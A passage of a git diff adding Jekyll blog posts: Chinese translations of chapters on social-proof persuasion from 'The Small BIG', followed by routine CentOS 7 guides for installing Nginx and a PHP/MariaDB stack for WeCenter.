+多年来，该署官员已经针对迟交税款的民众里出了各种各样的通知信函。尝试了许多沟通手段，这些做法绝大多数都在强调，如果不按时提交表格和缴税，会遇到什么样的后果：利息费用，滞纳罚金以及吃官司。对有些人来说，这些传统的方法是管用的，但对更多的人来说，它们不起什么作用，因此，在2009年年初。在向我们公司（INFLUENCE AT WORK）咨询过后，英国税务海关总署决定换一个符合说服科学的方法，他们需要做的只是一个小小的改动:在标准版本的缴费通知函里添上一句话。 + +这个小改动之所以引人瞩目，不仅因为它非常简单，更是因为收效极为显著。根据试点研究，迟交的税款总额大约有6.5亿英镑，使用新通知函之后，征收上来的税款达到了5.6亿英镑，清缴率达到86%。为了帮助大家更清楚地理解这组数据。我们来做个对比：使用新通知函的前一年，英国税务海关总署估算的迟交税额大概是5.1亿英镑，而他们最后征收到了2.9亿英镑，清缴率只有57%。 + +合计起来，使用的新版通知函和一些从私营催缴行业里学来的好方法之后，英国税务海关总署收缴的拖欠税款总额比前一年增加了5.6亿英镑，此外还清掉了3.5亿英镑的欠账，考虑到实际的做法改动是多么微小，成本又是多么的低廉，这最后的成果堪称惊人。 + +那么，通知函中的小改动究竟是什么？我们只不过把按时交税的真实人数（一个相当大的数字） 写上去了。 + +可是，为什么成千上万的人会因为标准通知函上的一个这么不起眼的改动，就乖乖地寄来了支票呢？答案隐藏在一条人类行为的基本原则之中，科学家们称之为社会认同原理（social proof），也就是从众心理。也就是说，人类的行为会在相当程度上受到周围的人的影响。尤其是那些令他们深深认同的人。 + +这个原理已经被学者们研究了几十年了，而且受到他强大威力影响的不只是人类。鸟儿、牛、鱼都喜欢成群结队，群聚性昆虫也爱扎堆儿，“别人正在做什么”的力量是如此基础，以至于没有大脑皮层的生物也得服从，社会认同原理的概念或许并不新鲜，但我们一直在不断地深入了解它的威力，因此越来越明白该如何最为高效地运用它。 + +社会认同的力量往往会胜过于理性认知，这一点让人又恨又爱。我们不愿意被人看成没脑子的鼠类，把自己的决断力彻底拱手交给人类也，可从众也有好处，因为在绝大多数情况下，跟着大伙儿做都没错。 + +从众不单是出于攀比的心态，它的根源更为基本——它源自人们心中三条非常简单却非常强大的动机：尽可能高效率地做出正确决定，获得他人的认同、用积极正面的角度看待自我。 + +英国征税通知函上那个看似很小的改动，之所以产生了如此显著的收效，是因为它同时满足了这全部三条动机。在这个忙碌的、信息超载的社会里，“大伙儿怎么做我也怎么做”是一个通往明智决策的、相当高效的捷径，无论人们要做的决策是看哪场电影、频繁光顾哪个餐馆，或是向英国税务海关总署的例子，要不要交税以及何时缴税。 + +看到绝大多数人都按时交税这个事实，会激起人们想要跟别人一样做的愿望。毕竟，如果遵从绝大多数人的做法，就很有可能得到他们的认同，扩大人际圈子的概率也会增加。最后，在英国民众受到税务海关总署通知函的这个案例上，第三个动机（用积极正面的眼光看待自己）也被激活了。绝大多数人大概都不愿赖账不还吧。同样，要是某个人认为社会上人人都是吸血的水蛭，那他大概也很容易做个水蛭，但是，了解到有这么多英国民众多按时缴纳税款，那些拖着不交的人会觉得自己在白占便宜。在那条信息面前，通过缴税来跟从大多数人的行为，会帮助此人重塑正面自我形象：我是个尽职尽责的公民。 + +考虑到社会认同原理的有多么强大，人们对它的忽视实在令人吃惊。本书作者中的两位曾经与行为科学家杰西卡·诺兰（Jessica Nolan）、韦斯·舒尔茨（Wes Schulz）和弗拉达斯·格里斯基威舍斯（Vladas Griskvicius）共同做过一系列研究，请数百名加州房主评估4个能帮助他们节约家庭能耗的潜在原因，看看哪个对他们的影响力度比较大，4个潜在原因是：（1）节约能源有助于保护环境；（2）节约能源对子孙后代有益；（3）节约能源可以节省开销；（4）许多邻居已经采取了节约能源的行动。 +相当一大批房主“都把许多邻居已经采取了节约能源的行为”排在了最末，得知这种情况之后，我们又在加州南郡的一个社区里做了个实验：随机选取了一批家庭，上门给他们展示了上述4条理由，但每个家庭只能看到其中一个，有些居民看到的是节约能源对环保有多大好处，有些看到的是对后代的益处，还有些看到的是节约能源能给家里省多少钱。最后，第四组居民看到的是一项近期的调查结果，上面写着他们的大多数邻居都在积极尝试节约能源。 + +大约一个月后，我们再上门去测试他们的节能状况，结果发现，最能让人们切实改变行为的，就是那条社会认同的消息——虽然在先前的实验中，大多数受访者都不肯承认它会起作用。有趣的是，先前实验中的大多数人认为最能让他们节约能源的理由是保护环境，但在第二项实验中，环保信息对节能状况几乎没有什么影响。 + +真实情况是，人们大但不大能预期到哪些因素会影响将来的行为，而且在事后也不太能辨得出。我们三个人中的一个曾经参与了一档电视节目，任务是协助查出在一系列日常情境（不是紧急状况）下，人们为什么能被说服去帮助他人。在纽约城一个繁忙的地铁里，我们聘请了一些研究者来统计有多少上班族会在路过一名街头音乐家身旁时给他钱。 +不久之后，我们对这个情境中的是一个小小的调整，效果马上就显现出来，而且非常明显。就在一名毫不知情的上班族朝着这位音乐家走过来的时候，另一个人（我们请来的托儿）当着他的面，往音乐家面前的帽子里扔了几个硬币，结果如何？给钱的人数增加了8倍。 + +事后我们访问了给钱的人们，结果没有一个人认为自己给钱是因为刚刚看见别人先给了，相反他们提出各式各样的理由：“我喜欢他正在演奏的那支曲子”“我是个慷慨的人”还有“我挺同情那家伙的”。 + +人们一般都不大善于辨别出影响自己行为的因素——无论是在事前还是事后，这给所有消耗的时间、精力、往往还有不菲的金钱来询问顾客“是什么让你做出购买决定”的企业或组织机构提了个醒，尽管我们相信许多顾客都很乐意回答这个问题，但他们给出的答案是不是真实的原因，我们就没那么乐观了。结果就是，依据这些答案而作出的营销战略往往失败率很高。 + +所以，与其把你的影响策略建筑在那些人们自以为影响因素之上，还不如马上做一个小小的改变：如果你想让目标客户在做某件事，那就简明而诚实地指出，大多数跟他们很类似的人已经在这样做了。比如说，一名想拓展业务的经理人打算邀请客户来参加新产品说明会，他们可以用这种方法来提高出席率：先邀请一批最有可能来参加的人，然后他就可以诚实地向下一批目标客户指出，“有很人已经接受了邀请，准备出席了。”这个小小的改变会十分见效——哪怕这些目标客户曾经宣称过，自己要不要参加跟其他人来不来无关。 + +如果把上述缴税案例中的另一个经验加上的话，社会认同原理还会发挥更大的威力。那就是把数据说得更具体一些，有些通知信中不单指出了全国上下有多少人按时缴税，还列出了收信人所在的地区（同一个邮政编码）的按时缴税率，这个方法的清缴率达到了79%，而标准信函的清缴率是67%。 + +当然，能从这个原理中得益的不仅仅是政府部门和税务官员而已，从跨国电力公司到地区性房屋协会，绝大多数企业和组织都需要及时从顾客和客户哪儿回收资金，证据表明，大多数顾客都会按时付款，而我们的建议是，把这条信息印在发票和结算单据的显眼位置。虽然单凭这么一个小小的改动不大可能让每个人都安时付款，但他肯定提高了你的回款率。好让组织腾出资源来，专门对付那些故意不按时付钱或是压根没打算付钱的人。 +下面这一点也很重要：你要引导受众去关注的那个行为，应该是被普遍接受，并且是你希望他们去做，本书作者之一曾与两名医生苏拉吉·巴思（Suraj Bassi）与鲁珀特·邓巴—里斯（Rupert Dunbar-Rees）共同主持过一项研究，我们发现,如果医护中心把上个月初缺席诊疗的患者人数公布在显眼的位置，那么接下来那个月爽约的患者就会增多，正如我们在引言里提到的爽约会引发巨额损失，导致效率低下，而且影响的不只是诊疗机构，各种各样的企业和公共部门都会遭遇这个问题。因此，一个小小的、几乎没有成本的做法改变，比如引导人们去关注那些你希望他们去做的事，往往能够取得令人惊叹的效果。 + +当然啦，如果你希望人们去做的事，比如缴税、如约前来、按时完成作业等等，并不是大多数人采取的行为，那么这个“强调大多数人都在这样做”的方法就不会那么见效。在这种情况下，虽然你可以轻易地虚构一个“大多数”（这个念头很有诱惑力），但我们强烈反对这种想法，这不仅是因为它违反了伦理道德，也是因为万一人们发现这种行径，知道了这个社会认同的吸引力是你捏造出来的，那么你今后所做的一切影响行为都会引起人们怀疑，往好里说，你得努力争取人们的信任，往坏里说，你会适得其反。 +然而，变通方法还是有的，事实上，还有两个具体做法相当见效。第一个方法就是强调你所鼓励的行为在某个特定的情境下被大多数人认同。行为科学家把“在某个情境中被绝大多数人认同／不认同的行为”称之为命令性规范（injunctive norm）。例如，强调关于“绝大多数人都支持某个很有意义的目标”的调查结果对塑造人们以后的行为大有益处，比如“80%的加州居民认为，尽责参与节能项目是十分重要的”“九成员工说，他们希望多学到一些关于健康生活方式的知识”。在这里情况下，在沟通中加入这样的命令性规范，就能起到四两拨千斤的作用。 + +公布绝对数（暗示着有许多人都在这样做或这样想）的做法也会很有效，Opower是一家位于佛罗里达阿灵顿（Arlington）的公司，他的业务是提供能源报告，提倡家庭节能，Opower在公司网站上公布了一组实实在在的数字:这个项目帮助人们节省电能“超出60亿度”，节省费用“超过7.5亿美元”。这样的信息能够够相当有效的鼓励人们积极参与，但他并没有指出“绝大多数人跟你很相像的已经参与进来”的具体证据。指出参与人数日渐增多也是个好办法，尤其是在你刚发起了某个活动，真希望他能像雪球一样滚动起来的时候，例如，如果在过去几个月间，某个博客访问量从每周一两百人上升到近千人，那么博主可以强调一下，在一段这么短的时间内，他的访问量增加了5倍，一个facebook用户可以推一推它日趋增长的“点赞”数目。 + +当然，如果我们宣传这些运用了社会认同原理的方法（比如英国的缴税通知函）适用于任何状况，每当我们想要改变他人行为时它们都能起作用，那就过于天真了。但是，鉴于某些运用了社会认同原理的最新策略，已经帮助人们获得了数十亿的额外收益（而不仅是百万或者上千万），学会了这些方法显然是合情合理的。 +这就引出了一个相关点的问题：在什么情况下，人们会有意避免从众呢？ + diff --git a/_posts/2016-11-23-114-the-small-big-02.md b/_posts/2016-11-23-114-the-small-big-02.md new file mode 100644 index 0000000..f84ddbe --- /dev/null +++ b/_posts/2016-11-23-114-the-small-big-02.md @@ -0,0 +1,40 @@ +--- +layout: post +title: 02 “小众”的反作用力 +pid: 114 +tags: [细节如何轻松影响他人] +--- + +食客更愿意去人声鼎沸的餐馆，而不是门可罗雀的那一家；看球赛时，观众会不由自主的站起身来，加入循环涌动的[人浪](#1)[1]；或者，像前一章里详细分析的那个案例一样，被说服的人们愿意按时缴税，无论在上述哪一情境中，社会认同都是一个极为有效的决策捷径，让我们不但能做出绝大部分的正确决定，还能跟他人建立起情感联结。想随大流的吸引力是如此巨大，以至于跟大众背道而驰不仅会让人感到不自在，甚至还会让人感到痛苦。最近在神经科学方面的研究证实了这一点。 + +所罗门·阿施（Solomon Asch）在20世纪50年代对从众现象作过十分经典的研究。在近期的一个重现实验中，神经科学家格雷戈里·伯恩斯（Gregory Berns）与研究团队告诉一组受试对象，这个实验室研究洞察力的，他们将会看到一系列立体的物体，然后指出哪些物体的大小和形状相同，哪些不同。研究人员还说，虽然每个人都要参加这个实验，但只有一个人会被选中，去隔壁房间接受核磁共振成像（fMRI）的扫描，工作人员在准备机器的时候，所有人都要在这个等候室里等着。然而，这一切都是精心设计的情节，因为只有那个被选中的人才是真正的受试对象，其余所有人都是研究团队的成员。这个真正受试者将要成为一个有趣实验的研究对象，实验目的是辨识出，当人们在反对群体意见时，大脑将会发生什么变化。 + +研究人员把这位“被选中”的受试者连上扫描仪，给他看一组成对出现的立体图像，然后问他哪几对相同，哪几对不同。但是在他回答之前，工作人员会告诉他，另一个房间里的“受试者们”都已经看过这些图像，并且做出来正确答案。有时候，那一组人会故意给出错误答案，为的是看看这位受试者是否会屈从社会压力。尽管绝大多数“被选中”的受试者明知那一组人给出的答案不对劲儿，但他们还是认同大多数人的意见——这个概率占到了40%。 + +但是，或许更加有趣的发现是：当受试者做出独立的判断，违背了群体的意见之后，大脑中与情绪处理有关的区域被激活了，这说明与众人背道而驰的确是有情感成本的，我们付出了痛苦的代价。 + +如果我们认为某个群体对我们的社会身份极为重要，换句话说，就是那帮助我们定义了“我们是谁”、帮助我们决定“如何看待自己”的群体，违背这样的群体就会变得尤其困难。例如，请回想前一章中的案例，英国的税收官员们通过在通知函的显著位置指出绝大多数人已经按时缴税的简单做法，就说服了更多人按时交钱，如果信函中写得更为具体，指出在收信人所在的这个邮政区块，大多数人已经按时交钱了，清缴率就会从标准的67%上升到了79%。 + +这份通知函还有第三个版本，越发强调了收信人的社会身份。在这个版本中，信中列出的不是收信人所在的邮政局快有大多数人已经按时纳了税，而是点出收信人所在的城镇的名字。这个小改动使得清缴率进一步上升，大约有83%的人采取了行动。 + +这些结果告诉我们，“四两拨千斤”的方法之一，就是把你要说的信息跟受众群体的社会身份紧紧地关联起来，例如网络世界能给人提供一个更有说服力的数据:IP地址。它能显示出网站访客的所在地，组织机构可以利用他传达社会认同的感觉，换言之，面对来自纽约和休斯顿的网友，你不必在使用笼统的、千篇一律的社会认同信息了（比如“81%的人购买了这个豪华大礼包！”），你可以让程序员显示出更加个性化的数据（“82%的纽约客都购买了这个豪华大礼包！”“80%的休斯顿人买了这个豪华大礼包！”）。但前提是，这些数据是真实的。 + +能让人感到“相似性”的社会认同信息不只是地点，人名也可以达到同样的效果，我们把这个概念称作“称谓相似性”。2012年的美国总统大选中，奥巴马竞选团队就使用了一个著名的电子邮件拉票方法：邀请注册选民来查询有多少与他们同名的人已经投了票。例如，某人会看到这样的信息：“嗨，埃米莉，这个功能很酷哦。你能查到有多少也叫埃米莉的人已经投票了。” + +看完邮件之后，收信人还可以把这个链接转发给朋友们。“跟你认识的人分享了这个功能吧，比如，梅根、汤姆、凯利、艾比、莫和丹尼，这样也能看到有多少跟他们同名的人已经投了票。” + +人们总是很愿意与自己所属的或想要进入的群体保持一致，同样，他们也很希望与那种不愿与之扯上关系的群体区别开，避免与那些人一样做出相同的行为。为了验证这个想法，畅销书《疯传》（Contagious）的作者，学者乔纳·伯杰（Jonah Berger）于《瞬变》（Switch）和《让创意更有黏性》（Made to Stick）作者之一普·希思（Chip Heath）一起做了一个非常有趣的实验：在大学宿舍中，如果一群买了某种慈善手环的大学生看到另一个颇为“怪咖”的宿舍里的学生们也戴着同款手环，他们会有什么反应？为了回答这个问题，我们先派研究人员上门服务，到目标宿舍（比如并不是怪咖的那个）中请学生们捐钱给某个慈善团体，捐多少都没关系，参与人都可以换得一个手环。一周过后，这些研究员再到附近的“学霸”宿舍，提出同样的要求。这个宿舍之所以有“怪咖”的名声，是因为这些学生会积极参与额外的学术活动，比如选修其他课程、牵头做小组讨论之类的。研究人员知道目标宿舍的学生们肯定会看到“怪咖”宿舍的学生们带手环，是因为这两个宿舍的人都在同一个餐厅吃饭。 + +需要指出的一点是，就在研究人员向目标宿舍的学生提供手环的同时，他们也向一个远在学校另一头的“对照宿舍”提供的手环。他们希望看到目标宿舍的学生跟“怪咖”宿舍的交流，但他们不想让任何一个宿舍与“对照组”发生沟通，距离远就是这个用意。 + +实验结果极有启发性，研究人员发现，“怪咖”宿舍的学生们买了手环之后，目标宿舍中带手环的学生人数减少了32%。可是，研究者们是怎么知道这些学生不愿意戴手环的主要是因为他们不想跟“怪咖”们一样，而不是出于更简单的原因，比如戴烦的呢？原来在相同的时间区段内，对照宿舍的学生（他们从没跟“怪咖”宿舍的学生碰过面）里只有6%的人不再戴手环了。 + +柏杰和希思认为，当一个需要衡量的行为被公之于众的时候，与群体划清界限的动机最强。为了验证这个想法，研究者们又做了一个实验，这次是在食物的选择上，他们先告诉一组本科生，校园里的垃圾食品的最大消费群体是本科生，然后又告诉另一组本科生，最大的消费群体其实是研究生（本科生一般都不愿与研究生为伍）。随后，研究者让这些受试者分别在私下里和公众场合选择食物——其中有些食物是健康食品，有些是垃圾食品。伯杰和希思发现，当受试者在私下里选择食物时，上述两组人里选择垃圾食品的人数没有明显差别。然而，要让这些受试者当着其他本科生的面做选择，在被告知“研究生是垃圾食品的最大消费群体”的那种学生中，选择垃圾食品的人数明显减少了。 + +把两个实验结果综合起来看，这项研究告诉我们，企业在开发新客户群体时，一定要避免这样的情况出现：当新客户群使用了这项产品之后，现有客户群体为了把自己跟这些新客户群体区分开，就不再继续使用它了。更广泛的说，这项研究表明，如果你不鼓励他人作出某种行为（比如饮食不健康、乱丢垃圾，或是上班迟到），那就应该把这些行为跟受众们不想要的身份联系起来。 + +我们想起了三星手机最新发布的一则讽刺死对头苹果公司的广告。画面中，一大群青少年苹果用户在排队等着购买新I-PHONE。队伍中一个人说，他最近买了一个三星手机，在这排队是为了帮别人占位子。过了一小会儿，观众就看到他是在替谁排队。原来正是青少年们最不想与之为伍的人:他们那已届中年的父母！ + +[1] 研究者们对发生在运动场上的所谓的“墨西哥人浪”做过有趣的研究，他们发现，不管赛场上进行的是哪种运动，也不管观众来自哪种文化，人浪现象有着显著的共性。比如说，匈牙利布达佩斯罗兰大学（Eotvo University）的研究者们发现，绝大多数人浪都是按照顺时针走的，每一波的宽度一般都在15个座位左右，而且以稳定的速度往下涌动（每秒钟12米）。若问掀起一波人浪需要多少人？上述研究者观察是，不到36个人就可以了。 + + diff --git a/_posts/2016-11-24-115-the-small-big-03.md b/_posts/2016-11-24-115-the-small-big-03.md new file mode 100644 index 0000000..860be42 --- /dev/null +++ b/_posts/2016-11-24-115-the-small-big-03.md @@ -0,0 +1,30 @@ +--- +layout: post +title: 03 非常态vs常态 +pid: 115 +tags: [细节如何轻松影响他人] +--- + +在前面的章节中我们讲到，把要传达的信息做一个小小的改变，你的提议或要求就能获得非常显著的收效。具体做法就是向受众指出，与他相似的一群人已经按照你的想法行事了，我们也证实了，如果这群人与你的受众拥有同一种社会身份，同属一个族群，那么你的信息可能会更有说服力。但是，我们还有一个重要的方法，帮你再做一个微小的、却能大幅提升说服效果的改变：在遣词造句的时候，透露出你所倡导的那个行为有多么寻常或多么不寻常。让我们来看个例子： + +设想一下，你的一个朋友有个讨厌的坏习惯：打喷嚏时从来不捂嘴。那么，你是应该强调打喷嚏时捂上口鼻的诸多好处呢，还是应该强调不捂的坏处？ + +心理学家哈特·布兰顿（Hart Blanton）和同事们认为，哪种措施能够见效，要看你的朋友对于这个行为的社会规范（social norm）有何看法。正如我们早先提到的，人们都愿意与社会规范保持一致。可是人们往往也喜欢强调自己的独特，彰显自我的个性。这话的意思是，当有人引导他们去思考某个行为对自己的身份会造成什么影响的时候，一般来说，他们会更加在意违背（而不是顺应）社会规范的代价和好处。因此，如果你想影响他人的行为，那么，你就从为被他心目中的社会规范的角度去遣词造句，这样做的收效比顺应的角度更见效。 + +例如，如果你的朋友认为打喷嚏时捂上嘴是符合社会规范的，那么最有效的措辞就是强调违背这条规范的人有何负面特质。比如说：“那些打喷嚏时不喝醉的人真是不负责任啊。”相反，如果他认为打喷嚏时不捂嘴才是正常的，那么你要强调的就是捂嘴的人（违背他心目中的这条规范）有哪些正面特质，比如“那些打喷嚏时捂嘴的人都很负责任。” + +在一个为了验证这个假说而专门设计出来的实验中，布兰顿和同事们请一群受试对象阅读一篇关于学生接种流感疫苗的新闻报道，但这篇报道有两个版本:一个说的是绝大多数学生都主动接种了疫苗，而另一个说的是绝大多数学生都不愿意接种。接下来研究者们请受试者们再阅读一篇文章，内容是对接种或不接种疫苗的行为进行评价。这篇文章也有两个版本，措辞的角度不一样，一个是将接种疫苗的决定与正面积极的人格特质关联起来（“那些愿意接种疫苗的人很为他人着想”），另一个则把不愿接种的决定与负面的人格特质关联起来（“那些不愿接种疫苗的人真不为他人着想”）。 + +实验结果与研究者们的预期一致：对违背规范者（而不是顺应规范）的特质的描述对应试者的影响更大。换句话说，当受试者以为绝大多数学生都主动接种了疫苗的时候，强调那些“不愿接种的人”的特质的措辞更有说服力；当他们以为绝大多数学生都不接种疫苗的时候，对那些“愿意接种的人”的特质描述更有说服力。 + +这个实验提供了清晰的示范做法：首先，告诉人们关于某个行为的社会规范是什么，然后描述那些违背了这个规范的人具备什么特质。如果一家健身俱乐部希望更衣室能一直干净整洁，那么管理人员就可以告诉新会员，绝大多数会员都会把用过的毛巾放进洗衣筐，而不是随便扔在地上，不这么做的会员，无异于不尊重他人。新员工添加入职培训的时候，公司相关部门的人员可以告诉他们，绝大多数同事都会如实并正确地填写报销单，而且会按期交上去，不这么做的人会让他们所在的部门面上无光。医生应该告诉一个刚刚被诊断的糖尿病患者，绝大多数类似的病人都迅速地养成了开车前检查血糖值的好习惯，少数不这样做的人会把其他司机置于危险境地。 + +稍等一下。在上述的健身房会员、新员工和糖尿病患者的例子以及接种疫苗的研究中，那些被告知相关社会规范的受众事先并不知道有这些规范存在。那么问题来了，要是受众对“某个行为是否常见”已形成了自己的看法，那么这种方法还管用吗？答案是肯定的。 + +布兰顿和雷吉娜·范登艾顿（Regina Van den Eijinden）以及其他研究人员又做了一个独立的实验，他们经受是对象，先汇报一下他们对“校园中健康生活方式是否常见”的印象。两周之后，受试者们读到了一份其他学生对健康生活方式的评价。这份评价是编造出来的，而且是从两个角度写的：第一种把积极正向的特质（比如成熟、聪明）与健康的生活方式关联起来，第二种做法负面特质（比如不够成熟、愚蠢）与不健康的生活方式联系起来。研究者们发现受试者越是认为健康生活方式很常见，就越容易受到第二种说法的影响，即那些没有健康生活习惯的人具备负面特质。与此形成对比的是，受试者越是认为它不常见，就越容易受到第一种说法的影响，即有健康生活习惯的人都具备积极向上的特质。 + +这个发现以及其他类似的研究结果告诉我们，如果你想劝说他人，在思考如何措辞之前，应该先完成一个很小却十分重要的任务：先考虑一下受众对相关社会规范的认知状况，然后再把某种特质与违反该规范的人关联起来。 + +也就是说，如果一位经理人希望下属们能养成守时的好习惯，提高工作效率，那么她就应该先调查一下大家对“开会迟到的现象是否普遍”的印象。如果大家的印象是这个问题经常发生，那么它在传达信息的时候就应该强调“能够按时开会的员工具备哪些积极正面的特质”；如果大家都认为开会迟到这事儿其实并不常有，那么他的沟通重点就应该是“迟到的人有哪些负面特质”。 + +更普遍地说，我们希望通过正确应用这些虽小但很科学的说服方法，人们会变得更加健康，同事们会更容易答应你的请求，自助沙拉吧也不再需要安装防喷嚏的透明罩子了。 diff --git a/_posts/2016-11-24-116-centos-nginx.md b/_posts/2016-11-24-116-centos-nginx.md new file mode 100644 index 0000000..cb47a8c --- /dev/null +++ b/_posts/2016-11-24-116-centos-nginx.md @@ -0,0 +1,61 @@ +--- +layout: post +title: 安装配置Nginx +pid: 116 +tags: [nginx] +--- + +因为默认Centos 7的yum源中是没有Nginx Repo的，所以我们需要自己去添加Nginx源。 + +# 新建nginx.repo文件 + + [wwwroot@localhost ~]$ sudo vim /etc/yum.repos.d/nginx.repo + +# 添加如下内容 + [nginx] + name=nginx repo + baseurl=http://nginx.org/packages/centos/$releasever/$basearch/ + gpgcheck=0 + enabled=1 + +# 安装 + sudo yum install nginx + +# 启动服务 + sudo systemctl start nginx.service + +# 设置开机启动服务 + sudo systemctl enable nginx.service (开机启动) + +# 一般Nginx配置文件的位置 + /etc/nginx/nginx.conf + +# 启动nginx + nginx -c /path/to/nginx.conf + nginx -c /etc/nginx/nginx.conf + +# 平滑重启nginx + kill -HUP 主进程号 + +# 关闭nginx + nginx -s stop :快速停止nginx + nginx -s quit ：完整有序的停止nginx + +# 其他的停止nginx 方式： + + ps -ef | grep nginx + + kill -QUIT 主进程号 ：从容停止Nginx + kill -TERM 主进程号 ：快速停止Nginx + pkill -9 nginx ：强制停止Nginx + +# 其他常用命令 + nginx -s reload ：修改配置后重新加载生效 + nginx -s reopen ：重新打开日志文件 + nginx -t -c /path/to/nginx.conf 测试nginx配置文件是否正确 + + +# 教程 + +1. [nginx教程](https://love2.io/@hfpp2012/doc/nginx-tutorial) + diff --git a/_posts/2016-11-24-117-centos-lnmp.md b/_posts/2016-11-24-117-centos-lnmp.md new file mode 100644 index 0000000..13a0528 --- /dev/null +++ b/_posts/2016-11-24-117-centos-lnmp.md @@ -0,0 +1,255 @@ +--- +layout: post +title: 如何在Centos 7中安装wecenter +pid: 117 +tags: [centos] +--- + +找了很多帮助，看了很多[参考](http://wenda.wecenter.com/article/1226)，最终，还是自己再整理一下吧。 + +建议：有一点Java基础，有一点Linux基础，就可以按照步骤做了。没有PHP基础，一点关系都没有。 + +啥！你还没有Centos 7系统，那就不需要读这篇笔记了，已瞎。 + +首先我们需要建一个用户（比如wwwroot）来执行接下来所有的安装活动。 + +# 建用户(wwwroot) + + ## 登录服务器： + ssh root@domain.name + + ## 更改密码： + passwd + + ## 添加用户： + adduser 你要设置的用户名(wwwroot) + + ## 设置密码： + passwd 你要设置的密码(wwwroot) + + ## 添加权限： + visudo + + #然后找到下面的内容，并新添加一行： + # User privilege specification + root ALL=(ALL) ALL + 你的用户名 ALL=(ALL) ALL + + ## 修改ssh端口是必要的，最起码默认的端口，还是尽量改了吧 + sudo nano /etc/ssh/sshd_config + Port 25000 + PermitRootLogin no + AllowUsers 你的用户名 + + #接着重启ssh服务， + sudo systemctl reload sshd.service + 测试的话用下面这句，如果没问题，可以登录，那就可以退出了~ + ssh -p 25000 你的用户名@domain.name + +# 运行环境配置 + +上面说完了初始化，现在应该要搭建LEMP环境了，由于默认的yum源中nginx比较老，想要使用新的版本需要添加源，（注意我们现在是使用刚才配置的新帐号登录的，换言之，不是root帐号，所以需要输入sudo） + +## 安装Nginx + +参考我的另外一篇[博文](http://www.baoguoding.com/2016/11/116-centos-nginx.html). + +## 安装Mysql + + 安装Mysql + sudo yum install mariadb-server mariadb + + 同样的，等待完成后启动mysql数据库： + sudo systemctl start mariadb + + 接着可以进行mysql的初始化配置，设置密码帐号，删除测试表（这里基本是都输入y）： + sudo mysql_secure_installation + + 按照提示设置数据库的密码即可，同理配置开机启动： + sudo systemctl enable mariadb.service + +## 安装php-fpm组件： + + 安装php-fpm组件 + sudo yum install php php-mysql php-fpm + + 同样的基本都是等待完成即可，然后继续配置php： + sudo nano /etc/php.ini + + 然后修改按照自己的需要去掉注释“;”(快速定位内容请使用ctrl+w)： + cgi.fix_pathinfo=0 + + 接着ctrl+o保存，ctrl+x退出编辑，并继续编辑php-fpm如下： + sudo nano /etc/php-fpm.d/www.conf + + 找到listen并改为如下内容： + listen=/var/run/php-fpm/php-fpm.sock + + 这里补充一句,用户组是要改了的，不然运行起来是有问题的： + user = nginx + group = nginx + 接着启动服务，没有问题的情况下，开启开机启动： + + sudo systemctl start php-fpm + sudo systemctl enable php-fpm.service + +## 配置nginx+php-fpm +这里抽时间单独拿出来讲配置文件的写法，现在只是为了测试环境是否搭建成功，所以采用简略的写法： + +sudo nano /etc/nginx/conf.d/default.conf +去除注释以后，大概是这个样子的： + + server { + listen 80; + server_name localhost; + + location / { + root /usr/share/nginx/html; + index index.html index.htm; + } + error_page 500 502 503 504 /50x.html; + location = /50x.html { + root /usr/share/nginx/html; + } + } + +然后我们修改成下面的样子： + + server { + + # 监听端口，默认就是80 + listen 80; + + # 网站域名 + server_name www.wecenter.com; + + # 网站根目录(我是改成了/home/wwwroot) + root /home/wwwroot; + index index.php index.html index.htm; + + location / { + try_files $uri $uri/ /index.php; #开启伪静态 + } + + # 错误页配置 + error_page 404 /404.html; + error_page 500 502 503 504 /50x.html; + location = /50x.html { + root /usr/share/nginx/html; + } + + # php-fpm配置，即对于php后缀的，都是用php-fpm处理 + location ~ \.php$ { + try_files $uri =404; + fastcgi_pass unix:/var/run/php-fpm/php-fpm.sock; + fastcgi_index index.php; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + include fastcgi_params; + } + } + +这里都改完以后就可以保存了，然后在你的根目录（上面设置的根目录，比如我的/home/wwwroot）下面新建一个index.php文件并写入： + + + +这里要说一下啊，我们的现在使用的帐号和用yum安装nginx的用户是不一样的，换言之，就是直接写入的文件会读取不到，所以再改权限： + + sudo chmod -R 755 /home/wwwroot + sudo chmod -R 755 /home/wwwroot/* + sudo chown -R nginx.nginx /home/wwwroot/* + +或者这样输入： + + cd /home/wwwroot + sudo chmod -R 755 ./ + sudo chown -R nginx.nginx ./ + +# 环境测试 +之前修改了nginx的配置，所以重启下nginx： + + # 重启Nginx + sudo systemctl restart nginx.service + +接着打开你的网站看看效果吧，不出意外的话，应该可以看到服务器信息了。 + + +# 一些额外支持的配置 + +## 安装配置php-mcrypt + + yum install epel-release //扩展包更新包 + yum update //更新yum源 + yum install libmcrypt libmcrypt-devel mcrypt mhash 就ok了 + + [wwwroot@localhost nginx]$ sudo locate php.ini + /etc/php.ini + /usr/share/doc/php-common-5.4.16/php.ini-development + /usr/share/doc/php-common-5.4.16/php.ini-production + [wwwroot@localhost nginx]$ + + + #vim /etc/php.ini + 增加两行 + extension=mcrypt.so + ; Default: Compiled in into libmcrypt (usually /usr/local/lib/libmcrypt) + ;mcrypt.modes_dir= + mcrypt.modes_dir=/usr/local/lib/ + :wq 保存退出 + + extension_dir=/usr/lib64/php/modules //这里主要是要看你到底安装到了哪里。 + extension=mcrypt.so + + php -m //查看有多少模块已经安装好了，所有动作完毕，记得重启一下，否则没有效果。 + + +## centos开启GD库的支持 + + #在线安装GD库 + yum -y install php-gd + +然后会在/etc/php.d文件夹中产生GD库的文件gd.ini，说明你已经安装成功。并且这时候也不需要在php配置文件php.ini中添加extension=php_gd2.dll，因为系统会自动把php.d文件夹中的*.ini文件读取到php配置文件php.ini中 + + #重启PHP，使其生效 + sudo systemctl restart php-fpm + +## 安装ImageMagick + +ImageMagick是一套软件系列，主要用于图片的创建、编辑以及转换等 +Centos 安装ImageMagick +依次运行以下命令 + + sudo yum install ImageMagick + sudo yum install ImageMagick-devel + sudo yum install php-pear [for PECL] + 安装php-pear + sudo yum -y install php-devel + 安装C编译器 + sudo yum install gcc + 如果装不了gcc就用这个命令： + sudo yum install gcc gcc-c++ autoconf automake + 安装imagick + sudo pecl install imagick + 加载imagick到php + sudo nano /etc/php.ini + 在/etc/php.ini 加上extension=imagick.so + 重启php + sudo systemctl restart php-fpm + +## 安装 unzip zip 方便上传网站 + + sudo yum install unzip zip + +## 开启网页压缩 + + sudo nano /etc/nginx/nginx.conf + 将#gzip on;的#号去掉 + +之前修改了nginx的配置，所以重启下nginx： + + sudo systemctl restart nginx.service + 